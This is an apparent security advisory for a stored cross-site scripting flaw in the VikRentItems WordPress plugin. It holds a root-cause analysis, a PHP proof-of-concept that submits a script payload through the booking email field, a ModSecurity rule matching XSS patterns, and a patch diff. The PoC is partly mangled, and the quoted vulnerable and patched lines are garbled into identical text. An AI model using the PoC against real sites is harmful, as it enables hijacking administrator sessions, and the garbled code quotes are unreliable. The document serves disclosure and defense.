Published : August 5, 2026

CVE-2026-16143: VikRentItems Flexible Rental Management System <= 1.2.1 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin vikrentitems
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.2.1
Patched Version 1.2.2
Disclosed August 3, 2026

Analysis Overview

“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-16143:nnAtomic Edge analysis confirms a stored cross-site scripting (XSS) vulnerability in the VikRentItems payment system for WordPress, impacting versions up to and including 1.2.1. An unauthenticated attacker can exploit the customer email field in the booking checkout form. The vulnerability has a CVSS score of 7.2 due to its unauthenticated nature and ability to execute arbitrary scripts in the admin panel.nnRoot Cause: The root cause lies in the saveorder() function within the site/controller.php file. This function retrieves the customer email via VikRequest::getString(), which applies sanitize_text_field(). This sanitization strips tags and encodes some characters, but it does not neutralize double quotes or other HTML attribute-breaking characters. The raw value is stored in the database. Later, the admin editorder template (admin/views/editorder/tmpl/default.php) echoes this stored value directly into an HTML input element’s value attribute without using esc_attr(). The vulnerable line is `<input type="text" name="custmail" id="custmail" value="” size=”25″/>`. This lack of output escaping allows an attacker to break out of the attribute and inject arbitrary HTML or JavaScript.nnExploitation: An attacker can exploit this by submitting a booking form with a crafted value in the customer email field. The payload must be designed to break out of the value attribute of the input field. For example, an attacker could submit `”>alert(document.cookie)` as the email. The server-side sanitization with sanitize_text_field() will not remove the double quotes or script tags. This payload will be stored in the database. When an administrator views the order in the backend, the vulnerable template echoes the value without escaping, causing the browser to interpret the injected script.nnPatch Analysis: The patch addresses the vulnerability in the admin/views/editorder/tmpl/default.php file by wrapping the output in the JHtml::fetch(‘esc_attr’, …) function. This function, equivalent to WordPress’s esc_attr(), HTML-encodes special characters such as double quotes, single quotes, and angle brackets. This neutralizes any attempt to break out of the HTML attribute context. The patch changes the vulnerable line to `<input type="text" name="custmail" id="custmail" value="” size=”25″/>`. The patch also includes additional output escaping fixes in the oconfirm template and the admin customer search results, indicating a comprehensive hardening of output contexts.nnImpact: Successful exploitation allows an unauthenticated attacker to inject arbitrary client-side scripts. These scripts execute in the context of any authenticated user who accesses the order editing page in the WordPress admin panel. The impact is significant as an attacker can potentially steal admin session cookies, capture keystrokes, perform actions on behalf of the admin, or deface the administrative interface, leading to full site compromise.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-16143 – VikRentItems Flexible Rental Management System <= 1.2.1 – Unauthenticated Stored Cross-Site Scriptingnnalert(/XSS-CVE-2026-16143/)’;nn// Prepare the POST data for the booking form submission.n// The ‘vrif’ parameters are custom fields; we need to include the ‘custmail’ field.n$post_data = array(n ‘option’ => ‘com_vikrentitems’,n ‘task’ => ‘saveorder’,n ‘custmail’ => $payload, // The malicious email addressn ‘firstname’ => ‘Test’,n ‘lastname’ => ‘User’,n ‘country’ => ‘US’,n ‘phone’ => ‘1234567890’,n // … other required parameters for the form, you may need to inspect the plugin’s checkout.php to get a full listn // For the purpose of this PoC, we only provide the essential ones.n ‘iditem’ => ‘1’, // valid item ID may be requiredn ‘ritiro’ => date(‘Y-m-d’, strtotime(‘+1 day’)),n ‘consegna’ => date(‘Y-m-d’, strtotime(‘+2 days’)),n ‘adults’ => ‘1’,n ‘children’ => ‘0’,n);nn// Initialize cURL sessionn$ch = curl_init();nn// Set cURL optionsncurl_setopt($ch, CURLOPT_URL, $ajax_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);ncurl_setopt($ch, CURLOPT_USERAGENT, ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36’);nn// Execute the request and capture the responsen$response = curl_exec($ch);nn// Check for errorsnif (curl_errno($ch)) {n echo ‘cURL error: ‘ . curl_error($ch) . “\n”;n} else {n $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);n echo “HTTP Status Code: ” . $http_code . “\n”;n echo “Response Body (first 500 chars): \n” . substr($response, 0, 500) . “\n”;n n // Check if the payload was accepted.n // A typical successful response may contain a redirect or specific text. n // The key is that the payload is stored; we can’t directly verify storage from here.n // We can just indicate completion.n echo “\n[+] Exploit submitted. If the booking was successful, the payload has been stored.\n”;n echo “[+] Access the admin order edit page to see the XSS trigger.\n”;n}nn// Close the cURL sessionncurl_close($ch);nn?>n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-16143n# Block unauthenticated stored XSS attempts targeting the VikRentItems ‘custmail’ field.n# The rule focuses on the booking checkout form submission (admin-ajax.php) with the specific action and parameter.nSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” “id:202616143,phase:2,deny,status:403,chain,msg:’CVE-2026-16143 via VikRentItems custmail field’,severity:’CRITICAL’,tag:’CVE-2026-16143′”n SecRule ARGS_POST:action “@streq saveorder” “chain”n SecRule ARGS_POST:custmail “@rx <script|javascript:|on[a-z]+=|src=|href=" "t:urlDecode,t:lowercase"n"
“`

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/vikrentitems/admin/controller.php
+++ b/vikrentitems/admin/controller.php
@@ -6019,7 +6019,7 @@
 				$cust_old_fields = array();
 				$cstring_search = '<div class="vri-custsearchres-inner">' . "n";
 				foreach ($customers as $k => $v) {
-					$cstring_search .= '<div class="vri-custsearchres-entry" data-custid="'.$v['id'].'" data-email="'.$v['email'].'" data-phone="'.addslashes($v['phone']).'" data-country="'.$v['country'].'" data-pin="'.$v['pin'].'" data-firstname="'.addslashes($v['first_name']).'" data-lastname="'.addslashes($v['last_name']).'">'."n";
+					$cstring_search .= '<div class="vri-custsearchres-entry" data-custid="' . (int) $v['id'] . '" data-email="' . htmlspecialchars($v['email']) . '" data-phone="' . htmlspecialchars($v['phone']) . '" data-country="' . htmlspecialchars($v['country']) . '" data-pin="' . htmlspecialchars($v['pin']) . '" data-firstname="' . htmlspecialchars($v['first_name']) . '" data-lastname="' . htmlspecialchars($v['last_name']) . '">'."n";
 					$cstring_search .= '<span class="vri-custsearchres-cflag">';
 					if (is_file(VRI_ADMIN_PATH.DIRECTORY_SEPARATOR.'resources'.DIRECTORY_SEPARATOR.'countries'.DIRECTORY_SEPARATOR.$v['country'].'.png')) {
 						$cstring_search .= '<img src="'.VRI_ADMIN_URI.'resources/countries/'.$v['country'].'.png'.'" title="'.$v['country'].'" class="vri-country-flag"/>'."n";
@@ -6027,7 +6027,7 @@
 						$cstring_search .= '<i class="' . VikRentItemsIcons::i('globe') . '"></i>';
 					}
 					$cstring_search .= '</span>';
-					$cstring_search .= '<span class="vri-custsearchres-name" title="'.$v['email'].'">'.$v['first_name'].' '.$v['last_name'].'</span>'."n";
+					$cstring_search .= '<span class="vri-custsearchres-name" title="' . htmlspecialchars($v['email']) . '">'.$v['first_name'].' '.$v['last_name'].'</span>'."n";
 					if (!($nopin > 0)) {
 						$cstring_search .= '<span class="vri-custsearchres-pin">'.$v['pin'].'</span>'."n";
 					}
@@ -8081,6 +8081,165 @@
 	}

 	/**
+	 * Hidden task to scan all database tables of VikRentItems to ensure the column `id` is
+	 * defined as a primary key and got an auto-increment extra flag properly defined and set.
+	 * We've noticed that some third-party plugins used to migrate WP sites may break the
+	 * primary keys, and so new records won't get an ID.
+	 *
+	 * @since 	1.8.2 (J) - 1.2.2 (WP)
+	 */
+	public function fix_autoincrement_tables()
+	{
+		if (!JFactory::getUser()->authorise('core.admin', 'com_vikrentitems')) {
+			VRIHttpDocument::getInstance()->close(403, JText::translate('JERROR_ALERTNOAUTHOR'));
+		}
+
+		$dbo = JFactory::getDbo();
+
+		// load all the installed database tables
+		$tables = $dbo->getTableList();
+
+	    // get current database prefix
+		$prefix = $dbo->getPrefix();
+
+		// replace prefix with placeholder
+		$tables = array_map(function($table) use ($prefix)
+		{
+			return preg_replace("/^{$prefix}/", '#__', $table);
+		}, $tables);
+
+		// remove all the tables that do not belong to VikRentItems
+		$tables = array_values(array_filter($tables, function($table)
+		{
+			if (preg_match("/^#__vikrentitems_config$/", $table))
+			{
+				// exclude the configuration table, which will be handled in a different way
+				return false;
+			}
+
+			return preg_match("/^#__vikrentitems_/", $table);
+		}));
+
+		foreach ($tables as $table) {
+			$columns = $dbo->getTableColumns($table, false);
+			if (!isset($columns['id']) || empty($columns['id']->Type) || !empty($columns['id']->Extra)) {
+				continue;
+			}
+
+			echo 'Fixing ' . $table. ' for missing auto-increment<br/><pre>' . print_r($columns['id'], true) . '</pre><br/>';
+
+			// set auto-increment and primary key
+			$dbo->setQuery("ALTER TABLE `{$table}` MODIFY `id` " . $columns['id']->Type . " NOT NULL AUTO_INCREMENT PRIMARY KEY;");
+			$dbo->execute();
+
+			// count next auto-increment
+			$dbo->setQuery("SELECT MAX(`id`) FROM `{$table}`");
+			$next_ai = (int) $dbo->loadResult() + 1;
+
+			// update next auto-increment value
+			$dbo->setQuery("ALTER TABLE `{$table}` AUTO_INCREMENT = {$next_ai}");
+			$dbo->execute();
+		}
+	}
+
+	/**
+	 * Hidden task to (re-)run the update queries from a given plugin version.
+	 * Useful to ensure the database structure is up-to-date and no update queries went lost.
+	 *
+	 * @since 	1.8.2 (J) - 1.2.2 (WP)
+	 */
+	public function run_update_queries()
+	{
+		$app = JFactory::getApplication();
+		$dbo = JFactory::getDbo();
+
+		if (!JFactory::getUser()->authorise('core.admin', 'com_vikrentitems')) {
+			VRIHttpDocument::getInstance($app)->close(403, JText::translate('JERROR_ALERTNOAUTHOR'));
+		}
+
+		$from_version = $app->input->getString('from_version');
+
+		if (empty($from_version)) {
+			VRIHttpDocument::getInstance()->close(400, 'Missing from version value.');
+		}
+
+		// determine the SQL updates directory path
+		$sql_updates_path = '';
+		if (VRIPlatformDetection::isWordPress()) {
+			$sql_updates_path = implode(DIRECTORY_SEPARATOR, [VIKRENTITEMS_BASE, 'sql', 'update', 'mysql']);
+		} else {
+			$sql_updates_path = implode(DIRECTORY_SEPARATOR, [VRI_ADMIN_PATH, 'sql', 'updates', 'mysql']);
+		}
+
+		if (!$sql_updates_path || !is_dir($sql_updates_path)) {
+			VRIHttpDocument::getInstance()->close(500, 'Could not find SQL updates path.');
+		}
+
+		// read all SQL update files
+		$sql_update_files = JFolder::files($sql_updates_path, '.sql', $recurse = false, $full = true);
+
+		// filter SQL files with just the valid ones
+		$sql_update_files = array_filter($sql_update_files, function($sql_update_file) use ($from_version) {
+			$file_version = basename($sql_update_file, '.sql');
+			return version_compare($file_version, $from_version, '>=');
+		});
+
+		// sort files by version ascending
+		usort($sql_update_files, function($a, $b) {
+			return version_compare(basename($a, '.sql'), basename($b, '.sql'));
+		});
+
+		if (!$sql_update_files) {
+			VRIHttpDocument::getInstance()->close(500, sprintf('Could not find any suitable SQL update file from version %s.', $from_version));
+		}
+
+		$success_queries = 0;
+
+		foreach ($sql_update_files as $file) {
+			$handle = fopen($file, 'r');
+
+			$bytes = '';
+			while (!feof($handle)) {
+				$bytes .= fread($handle, 8192);
+			}
+
+			fclose($handle);
+
+			if (VRIPlatformDetection::isWordPress()) {
+				$queries_list = JDatabaseHelper::splitSql($bytes);
+			} else {
+				try {
+					$queries_list = JoomlaDatabaseDatabaseDriver::splitSql($bytes);
+				} catch(Throwable $e) {
+					$app->enqueueMessage(sprintf('Error splitting queries: %s', $e->getMessage()), 'error');
+					$queries_list = [];
+				}
+			}
+
+			foreach ($queries_list as $q) {
+				try {
+					$dbo->setQuery($q);
+					$result = $dbo->execute();
+				} catch (Exception $e) {
+					$result = false;
+					$app->enqueueMessage(sprintf('Error executing query: %s', $e->getMessage()), 'warning');
+				}
+
+				if ($result) {
+					$success_queries++;
+				}
+			}
+		}
+
+		if ($success_queries) {
+			$app->enqueueMessage(sprintf('Successful queries: %d', $success_queries), 'success');
+		}
+
+		// send response to output
+		echo '<pre>'.print_r($sql_update_files, true).'</pre><br/>';
+	}
+
+	/**
 	 * @since 	1.5.0 (J) - 1.0.0 (WP)
 	 */
 	public function newcondtext()
--- a/vikrentitems/admin/helpers/conditional_rules.php
+++ b/vikrentitems/admin/helpers/conditional_rules.php
@@ -490,8 +490,8 @@
 			 */
 			$cond_texts[$token]['msg'] = preg_replace_callback("/s*(src|href)=(["'])(.*?)["']/i", function($match) {
 				// check if the URL starts with the base domain
-				if (stripos($match[3], JUri::root()) !== 0 && !preg_match("/^(https?://|www.)/i", $match[3])) {
-					// prepend base domain to URL
+				if (stripos($match[3], JUri::root()) !== 0 && !preg_match("/^(https?://|www.|{)/i", $match[3])) {
+					// safely prepend base domain to URL
 					$match[0] = ' ' . $match[1] . '=' . $match[2] . JUri::root() . $match[3] . $match[2];
 				}
 				return $match[0];
--- a/vikrentitems/admin/helpers/src/model/backup.php
+++ b/vikrentitems/admin/helpers/src/model/backup.php
@@ -81,6 +81,12 @@

 			$backup->type->id = implode('_', $chunks);

+			if (empty($backup->type->id))
+			{
+				// unexpected file format
+				return null;
+			}
+
 			// try to fetch the matching export type
 			$type = $this->getExportTypes($backup->type->id);

--- a/vikrentitems/admin/models/license.php
+++ b/vikrentitems/admin/models/license.php
@@ -213,8 +213,8 @@
 			'filename'  => $tmp . DIRECTORY_SEPARATOR . 'vikrentitemspro.zip',
 			// make sure the request is non blocking
 			'blocking'  => true,
-			// force timeout to 60 seconds
-			'timeout'   => 60,
+			// force timeout to 120 seconds
+			'timeout'   => 120,
 			// disable the SSL peer verification
 			'sslverify' => false,
 		);
--- a/vikrentitems/admin/views/calendar/tmpl/default.php
+++ b/vikrentitems/admin/views/calendar/tmpl/default.php
@@ -14,7 +14,6 @@
 $msg = $this->msg;
 $allc = $this->allc;
 $payments = $this->payments;
-$busy = $this->busy;
 $vmode = $this->vmode;
 $pickuparr = $this->pickuparr;
 $dropoffarr = $this->dropoffarr;
@@ -386,7 +385,7 @@
 		<?php
 		$check = false;
 		$nowtf = VikRentItems::getTimeFormat(true);
-		if (empty($busy)) {
+		if (empty($this->busy)) {
 			echo "<p class="warn">".JText::translate('VRNOFUTURERES')."</p>";
 		} else {
 			$check = true;
@@ -461,7 +460,7 @@
 						$bid = "";
 						$totfound = 0;
 						if ($check) {
-							foreach ($busy as $b) {
+							foreach ($this->busy as $b) {
 								$tmpone = getdate($b['ritiro']);
 								$ritts = mktime(0, 0, 0, $tmpone['mon'], $tmpone['mday'], $tmpone['year']);
 								$tmptwo = getdate($b['consegna']);
--- a/vikrentitems/admin/views/calendar/view.html.php
+++ b/vikrentitems/admin/views/calendar/view.html.php
@@ -334,15 +334,12 @@
 				VikError::raiseWarning('', 'Invalid Dates');
 			}
 		}
-
-		$busy = "";
+
 		$mints = mktime(0, 0, 0, date('m'), 1, date('Y'));
-		$q = "SELECT `b`.*,`ob`.`idorder`,`o`.`closure` FROM `#__vikrentitems_busy` AS `b` LEFT JOIN `#__vikrentitems_ordersbusy` `ob` ON `ob`.`idbusy`=`b`.`id` LEFT JOIN `#__vikrentitems_orders` `o` ON `o`.`id`=`ob`.`idorder` WHERE `b`.`iditem`='".$itemrows['id']."' AND (`b`.`ritiro`>=".$mints." OR `b`.`consegna`>=".$mints.");";
+		$maxts = strtotime('+13 months', $mints);
+		$q = "SELECT `b`.*,`ob`.`idorder`,`o`.`closure` FROM `#__vikrentitems_busy` AS `b` LEFT JOIN `#__vikrentitems_ordersbusy` `ob` ON `ob`.`idbusy`=`b`.`id` LEFT JOIN `#__vikrentitems_orders` `o` ON `o`.`id`=`ob`.`idorder` WHERE `b`.`iditem`='" . $itemrows['id'] . "' AND `b`.`ritiro` <= " . $maxts . " AND `b`.`consegna` >= " . $mints . ";";
 		$dbo->setQuery($q);
-		$dbo->execute();
-		if ($dbo->getNumRows() > 0) {
-			$busy = $dbo->loadAssocList();
-		}
+		$busy = $dbo->loadAssocList();

 		$q = "SELECT `id`,`name` FROM `#__vikrentitems_items` ORDER BY `#__vikrentitems_items`.`name` ASC;";
 		$dbo->setQuery($q);
--- a/vikrentitems/admin/views/editbusy/tmpl/default.php
+++ b/vikrentitems/admin/views/editbusy/tmpl/default.php
@@ -475,7 +475,7 @@
 							<?php echo JText::translate('VREDITORDERTWO'); ?>
 						</div>
 						<div class="vri-editbooking-custarea">
-							<textarea name="custdata"><?php echo htmlspecialchars($ord[0]['custdata']); ?></textarea>
+							<textarea name="custdata"><?php echo JHtml::fetch('esc_textarea', $ord[0]['custdata']); ?></textarea>
 						</div>
 					</div>
 					<div class="vri-bookingdet-detcont">
--- a/vikrentitems/admin/views/editorder/tmpl/default.php
+++ b/vikrentitems/admin/views/editorder/tmpl/default.php
@@ -496,7 +496,7 @@
 				?>
 					<div class="vri-bookingdet-detcont vri-hidein-print">
 						<label for="custmail"><?php echo JText::translate('VRQRCUSTMAIL'); ?></label>
-						<input type="text" name="custmail" id="custmail" value="<?php echo $row['custmail']; ?>" size="25"/>
+						<input type="text" name="custmail" id="custmail" value="<?php echo JHtml::fetch('esc_attr', $row['custmail']); ?>" size="25"/>
 						<?php if (!empty($row['custmail'])) : ?> <button type="button" class="btn vri-config-btn" onclick="vriToggleSendEmail();" style="vertical-align: top;"><i class="vriicn-envelop"></i><?php echo JText::translate('VRSENDEMAILACTION'); ?></button><?php endif; ?>
 					</div>
 				<?php
--- a/vikrentitems/defines.php
+++ b/vikrentitems/defines.php
@@ -12,7 +12,7 @@
 defined('ABSPATH') or die('No script kiddies please!');

 // Software version
-define('VIKRENTITEMS_SOFTWARE_VERSION', '1.2.1');
+define('VIKRENTITEMS_SOFTWARE_VERSION', '1.2.2');

 // Base path
 define('VIKRENTITEMS_BASE', dirname(__FILE__));
--- a/vikrentitems/libraries/update/fixer.php
+++ b/vikrentitems/libraries/update/fixer.php
@@ -31,7 +31,11 @@
 	 */
 	public function __construct($version)
 	{
+		// bind version
 		$this->version = $version;
+
+		// main library
+		require_once VRI_SITE_PATH . DIRECTORY_SEPARATOR . 'helpers' . DIRECTORY_SEPARATOR . 'lib.vikrentitems.php';
 	}

 	/**
@@ -84,6 +88,16 @@
 	 */
 	public function afterInstallation()
 	{
+		if (version_compare($this->version, '1.2.2', '<'))
+		{
+			$config = VRIFactory::getConfig();
+			if (strlen($config->getString('icalkey', '')) < 5)
+			{
+				// randomize key
+				$config->set('icalkey', VikRentItems::getCPinInstance()->generateSerialCode(8));
+			}
+		}
+
 		return true;
 	}
 }
--- a/vikrentitems/libraries/update/manager.php
+++ b/vikrentitems/libraries/update/manager.php
@@ -74,19 +74,23 @@
 	 */
 	public static function install()
 	{
+		// main library
+		require_once VRI_SITE_PATH . DIRECTORY_SEPARATOR . 'helpers' . DIRECTORY_SEPARATOR . 'lib.vikrentitems.php';
+
 		self::execSqlFile(VIKRENTITEMS_BASE . DIRECTORY_SEPARATOR . 'sql' . DIRECTORY_SEPARATOR . 'install.mysql.utf8.sql');

 		$dbo = JFactory::getDbo();
+		$config = VRIFactory::getConfig();

 		// create the configuration record with the email address of the current user
-		$q = "INSERT INTO `#__vikrentitems_config` (`param`,`setting`) VALUES ('adminemail', " . $dbo->q(JFactory::getUser()->email) . ");";
-		$dbo->setQuery($q);
-		$dbo->execute();
+		$config->set('adminemail', JFactory::getUser()->email);

 		// footer must be disabled by default
-		$q = "UPDATE `#__vikrentitems_config` SET `setting`='0' WHERE `param`='showfooter';";
-		$dbo->setQuery($q);
-		$dbo->execute();
+		$config->set('showfooter', 0);
+
+		// handle random secret and initial keys
+		$config->set('icalkey', VikRentItems::getCPinInstance()->generateSerialCode(8));
+		$config->set('cronkey', VikRentItems::getCPinInstance()->generateSerialCode(8));

 		// closing main text must not mention the name of the software
 		$q = "UPDATE `#__vikrentitems_texts` SET `setting`='' WHERE `param`='closingmain';";
@@ -495,6 +499,60 @@
 	}

 	/**
+	 * Trigger called whenever a mirroring file has been deleted.
+	 * Checks if the destination path is recognized, and attempts to
+	 * delete the previously backed up file in order to never restore it.
+	 *
+	 * @param 	string 		$dest 	The path to the file just deleted.
+	 *
+	 * @return 	boolean 	True on success.
+	 *
+	 * @since 	1.2.2
+	 */
+	public static function triggerDeletionBackup($dest)
+	{
+		// seek the key of the uploaded dir
+		$dir_key = false;
+		foreach (self::getUploadBackupDirs(true) as $key => $path) {
+			if (strpos($dest, $path) !== false) {
+				$dir_key = $key;
+				break;
+			}
+		}
+		if (!$dir_key) {
+			// could not recognize upload dir path from destination file
+			return false;
+		}
+
+		// always make sure the upload backup dirs are set for bc with those that installed a previous version of the plugin
+		if (!self::installUploadBackup()) {
+			// cannot proceed because backup folders are not set
+			return false;
+		}
+
+		// import the File class
+		JLoader::import('adapter.filesystem.file');
+
+		// get the backup upload dir path for this type of file
+		$backup_dirs = self::getUploadBackupDirs();
+		if (!isset($backup_dirs[$dir_key])) {
+			// do not proceed
+			return false;
+		}
+
+		// build the full file path on the mirroring directory
+		$mirroredFilePath = $backup_dirs[$dir_key] . DIRECTORY_SEPARATOR . basename($dest);
+
+		if (!is_file($mirroredFilePath)) {
+			// do not proceed
+			return false;
+		}
+
+		// delete the file from its backup dir
+		return JFile::delete($mirroredFilePath);
+	}
+
+	/**
 	 * Trigger called to back up all the files inside the path with the key
 	 * passed. Useful to back up custom PHP files manually uploaded to extend
 	 * the default Reports, Cron Jobs, SMS APIs to save a clone copy of these
--- a/vikrentitems/site/controller.php
+++ b/vikrentitems/site/controller.php
@@ -373,6 +373,10 @@
 							$suffdata = false;
 							break;
 						}
+						if ((bool) $cf['isemail'] && !strpos($tmpcfval, '@')) {
+							$suffdata = false;
+							break;
+						}
 					}
 				}
 				//save user email and create custdata array
@@ -438,9 +442,8 @@
 					$storenextdata = json_encode($nextorderdata);
 					$q = "SELECT `id` FROM `#__vikrentitems_usersdata` WHERE `ujid`='".(int)$currentUser->id."';";
 					$dbo->setQuery($q);
-					$dbo->execute();
-					if ($dbo->getNumRows() > 0) {
-						$oldnextid = $dbo->loadAssocList();
+					$oldnextid = $dbo->loadAssocList();
+					if ($oldnextid) {
 						$q = "UPDATE `#__vikrentitems_usersdata` SET `data`=".$dbo->quote($storenextdata)." WHERE `id`='".(int)$oldnextid[0]['id']."';";
 					} else {
 						$q = "INSERT INTO `#__vikrentitems_usersdata` (`ujid`,`data`) VALUES('".(int)$currentUser->id."', ".$dbo->quote($storenextdata).");";
@@ -1778,25 +1781,25 @@
 		}
 		$nowtf = VikRentItems::getTimeFormat();
 		$icsname = date('Y-m-d_H_i_s');
-		$icscontent = "BEGIN:VCALENDARn";
-		$icscontent .= "VERSION:2.0n";
-		$icscontent .= "PRODID:-//e4j//VikRentItems//ENn";
-		$icscontent .= "CALSCALE:GREGORIANn";
-		$icscontent .= "X-WR-TIMEZONE:".date_default_timezone_get()."n";
+		$icscontent = "BEGIN:VCALENDARrn";
+		$icscontent .= "VERSION:2.0rn";
+		$icscontent .= "PRODID:-//e4j//VikRentItems//ENrn";
+		$icscontent .= "CALSCALE:GREGORIANrn";
+		$icscontent .= "X-WR-TIMEZONE:".date_default_timezone_get()."rn";

 		/**
 		 * Rely on a database record to calculate the end date of the calendar.
 		 * This could be the pick up date (1 day) or the drop off date (full span).
 		 * In a future, we could move this onto a manageable configuration setting.
 		 *
-		 * @since 	1.1.0
+		 * @since 	1.2.1
 		 */
-		$calendar_endd_type = VikRentItems::getCalendarEndType();
+		$calendar_endd_type = VRIFactory::getConfig()->get('calendar_end_type', 'drop');

 		/**
 		 * We allow to define a maximum date in the past for the orders to include.
 		 *
-		 * @since 	1.8.0 (J) - 1.2.0 (WP)
+		 * @since 	1.8.2 (J) - 1.2.2 (WP)
 		 */
 		$past_months = VRIFactory::getConfig()->getInt('ical_past_months', 0);
 		$info_date   = getdate();
@@ -1811,38 +1814,86 @@
 				"LEFT JOIN `#__vikrentitems_places` `lp` ON `o`.`idplace`=`lp`.`id` ".
 				"LEFT JOIN `#__vikrentitems_places` `ld` ON `o`.`idreturnplace`=`ld`.`id` WHERE `o`.`status`='confirmed' AND `o`.`" . $end_type . "` > ".$lim_past_ts.($pelem > 0 ? " AND `oi`.`iditem`=".$pelem : "")." ORDER BY `o`.`ritiro` ASC;";
 			$dbo->setQuery($q);
-			$dbo->execute();
-			if ($dbo->getNumRows() > 0) {
-				$rows = $dbo->loadAssocList();
+			$rows = $dbo->loadAssocList();

-				$icalstr = "";
-				foreach ($rows as $r) {
-					$uri = VikRentItems::externalroute('index.php?option=com_vikrentitems&view=order&sid=' . $r['sid'] . '&ts=' . $r['ts'], false);
-					$pickloc = $r['pickup_location_name'];
-					$item = VikRentItems::getItemInfo($r['iditem'], $vri_tn);
-					//$custdata = preg_replace('/s+/', ' ', trim($r['custdata']));
-					$description = "x".$r['itemquant']." ".$item['name']."\n".date($df.' '.$nowtf, $r['ritiro']).' - '.date($df.' '.$nowtf, $r['consegna']).str_replace("n", "\n", trim($r['custdata']))."\n\nID ".$r['id'];
-					$icalstr .= "BEGIN:VEVENTn";
-					if ($calendar_endd_type == 'pickup') {
-						$icalstr .= "DTEND;TZID=".date_default_timezone_get().":".date('YmdTHis', $r['ritiro'])."n";
-					} else {
-						$icalstr .= "DTEND;TZID=".date_default_timezone_get().":".date('YmdTHis', $r['consegna'])."n";
-					}
-					$icalstr .= "UID:".$r['id'].'_'.$r['sid'].'_'.$r['iditem']."n";
-					$icalstr .= "DTSTAMP:".date('YmdTHisZ')."n";
-					if (!empty($pickloc)) {
-						$icalstr .= "LOCATION:".preg_replace('/([,;])/','\$1', $pickloc)."n";
-					}
-					$icalstr .= ((strlen($description) > 0 ) ? "DESCRIPTION:".preg_replace('/([,;])/','\$1', $description)."n" : "");
-					$icalstr .= "URL;VALUE=URI:".preg_replace('/([,;])/','\$1', $uri)."n";
-					$icalstr .= "SUMMARY:".JText::sprintf('VRIICSEXPSUMMARY', $item['name'], date($df.' '.$nowtf, $r['ritiro']))."n";
-					$icalstr .= "DTSTART;TZID=".date_default_timezone_get().":".date('YmdTHis', $r['ritiro'])."n";
-					$icalstr .= "END:VEVENTn";
+			if ($rows) {
+				/**
+				 * Dispatch the event to allow third-party plugins to manipulate the booking records found.
+				 *
+				 * @since 	1.8.2 (J) - 1.2.2 (WP)
+				 */
+				VRIFactory::getPlatform()->getDispatcher()->trigger('onBeforeParseBookingsCalendar', [&$rows]);
+			}
+
+			/**
+			 * In case of no bookings, we no longer send a 404 error code, but
+			 * we rather deliver an empty calendar, yet syntactically valid.
+			 *
+			 * @since 	1.8.2 (J) - 1.2.2 (WP)
+			 */
+			$rows = is_array($rows) ? $rows : [];
+
+			// build ics content
+			$icalstr = "";
+
+			foreach ($rows as $r) {
+				$uri = VikRentItems::externalroute('index.php?option=com_vikrentitems&view=order&sid=' . $r['sid'] . '&ts=' . $r['ts'], false);
+
+				$pickloc = $r['pickup_location_name'];
+				$item = VikRentItems::getItemInfo($r['iditem'], $vri_tn);
+
+				$description = "x".$r['itemquant']." ".$item['name']."\n". date($df.' '.$nowtf, $r['ritiro']).' - '. date($df.' '.$nowtf, $r['consegna']). str_replace("n", "\n", trim($r['custdata'])). "\n\nID ".$r['id'];
+				$calendar_event = [
+					'BEGIN' => 'VEVENT',
+				];
+
+				if ($calendar_endd_type == 'pickup') {
+					$calendar_event["DTEND;TZID=".date_default_timezone_get()] = date('YmdTHis', $r['ritiro']);
+				} else {
+					$calendar_event["DTEND;TZID=".date_default_timezone_get()] = date('YmdTHis', $r['consegna']);
+				}
+
+				$calendar_event['UID'] = sha1($r['id'].'_'.$r['sid'].'_'.$r['iditem']);
+				$calendar_event['DTSTAMP'] = date('YmdTHisZ');
+
+				if (!empty($pickloc)) {
+					$calendar_event['LOCATION'] = preg_replace('/([,;])/', '\$1', $pickloc);
+				}
+
+				if (strlen($description) > 0) {
+					$calendar_event['DESCRIPTION'] = preg_replace('/([,;])/', '\$1', $description);
+				}
+
+				$calendar_event['URL;VALUE=URI'] = preg_replace('/([,;])/', '\$1', $uri);
+				$calendar_event['SUMMARY'] = JText::sprintf('VRIICSEXPSUMMARY', $item['name'], date($df.' '.$nowtf, $r['ritiro']));
+
+				$calendar_event["DTSTART;TZID=".date_default_timezone_get()] = date('YmdTHis', $r['ritiro']);
+
+				/**
+				 * Dispatch the event to allow third-party plugins to manipulate
+				 * the calendar event before it is written into the ICS file.
+				 */
+				VRIFactory::getPlatform()->getDispatcher()->trigger('onBeforeSetItemCalendar', [&$calendar_event, $r]);
+
+				/**
+				 * Third-party plugins could override the calendar, breaking the ICS file.
+				 * We check if the calendar event is still valid before writing it into the ICS file.
+				 */
+				if (!$calendar_event || empty($calendar_event['BEGIN'])) {
+					continue;
+				}
+
+				$calendar_event['END'] = 'VEVENT';
+
+				foreach ($calendar_event as $prop => $value) {
+					$event_line = "{$prop}:{$value}";
+					$icalstr .= implode("rn ", str_split($event_line, 75)) . "rn";
 				}
-				$icscontent .= $icalstr;
 			}
+			$icscontent .= $icalstr;
 		}
-		$icscontent .= "END:VCALENDARn";
+
+		$icscontent .= "END:VCALENDARrn";
 		header('Content-type: text/calendar; charset=utf-8');
 		header('Content-Disposition: attachment; filename=' . $icsname.'.ics');
 		echo $icscontent;
--- a/vikrentitems/site/helpers/cpin.php
+++ b/vikrentitems/site/helpers/cpin.php
@@ -31,48 +31,99 @@
 	}

 	/**
-	* Generates a unique PIN for the customer
-	* @param notpush
-	*/
-	public function generateUniquePin($notpush = false) {
-		$rand_pin = rand(10999, 99999);
-		if ($this->pinExists($rand_pin)) {
-			while ($this->pinExists($rand_pin)) {
-				$rand_pin += 1;
-			}
+	 * Generates a serial code of a fixed length from a chars map.
+	 *
+	 * @param 	int 	$length 	The length of the serial code to generate.
+	 * @param 	?array 	$map 		Optional map of allowed characters.
